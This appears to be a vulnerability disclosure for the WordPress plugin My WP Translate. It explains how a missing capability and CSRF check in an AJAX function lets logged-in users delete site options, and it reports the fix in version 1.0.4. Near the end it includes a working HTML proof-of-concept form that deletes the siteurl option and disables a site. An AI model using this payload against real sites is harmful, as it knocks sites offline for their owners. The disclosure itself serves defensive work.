Authenticated Option Deletion Vulnerability in My WP Translate
Recently we went to check on a report of a cross-site scripting (XSS) vulnerability in the plugin My WP Translate and while looking into that we noticed that there were a number AJAX accessible functions that didn’t have the proper protection so that anyone logged in could access them. That is an all too common situation. On a lot of websites that wouldn’t matter much since the only user account is an Administrator, so that if someone gains access to the account they can do whatever they want already, or only trusted individuals have accounts. For websites that do allow untrusted users to have accounts taking extra precautions when it comes to plugins is a good idea. That can include limiting the number of plugins you use and for the highest assurance getting a security review done of them (we do security reviews of plugins suggested/voted for by our customers and also offer a separate service if just want to purchase a review).
Often times the intended functionality of an AJAX accessible function is dangerous for lower level users to have access to, but it is also possible that the code can used to take other action they intended. In the case of this plugin we found that it is possible to use one of those functions to delete WordPress options (settings). As we discovered with a very similar vulnerability more than a year ago, that can be used to disable a website with a single request.
The plugin made the function ajax_mtswpt_remove_plugin() accessible through WordPress AJAX functionality to only those logged in:
160 | $this->loader->add_action( 'wp_ajax_mtswpt_remove_plugin', $plugin_admin, 'ajax_mtswpt_remove_plugin' ); |
The function, located in the file /admin/class-my-wp-translate-admin.php, doesn’t perform any check on the capabilities of the user (only users with the “manage_options” capability should be able to access it) or check for protection against cross-site request forgery (CSRF). Instead the first thing it does is the value of the POST input “plugin_tab” to variable “$plugin_tab “:
736 737 738 | public function ajax_mtswpt_remove_plugin() { $plugin_tab = $_POST['plugin_tab']; |
Later in the code it checks if an option with name that matches the variable’s value exists and if it does, the option is deleted:
754 755 | if ( false !== get_option( $plugin_tab, false ) ) { delete_option( $plugin_tab ); |
If you were to use that to delete “site_url” option, it would cause requests for the frontend of the website to show the message “Error establishing a database connection” instead of the intended page content and requests for the admin area to only have the message “One or more database tables are unavailable. The database may need to be repaired.” If you do try a database repair, the result with be that it won’t fix this, but it will be indicated that the options table, where the deleted option existed, “is okay”, which seems unhelpful.
In version 1.0.4 the function has been renamed and a check for a nonce, to prevent CSRF has been added:
950 951 952 | public function ajax_remove_plugin() { check_ajax_referer( 'my-wp-translate', 'security' ); |
No capabilities check was added, but the nonce is only accessible on the plugin’s admin page, so under normal circumstances that would do the equivalent of a capabilities check, though it would better to check for capabilities as it is possible that a nonce could be compromised.
Proof of Concept
The following proof of concept will delete the siteurl option wp_options table, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="mtswpt_remove_plugin" /> <input type="hidden" name="plugin_tab" value="siteurl" /> <input type="submit" value="Submit" /> </form> </body>
Timeline
- October 9, 2017 – Developer notified.
- October 10, 2017 – Developer responds.
- October 10, 2017 – Version 1.0.4 released, which fixes vulnerability.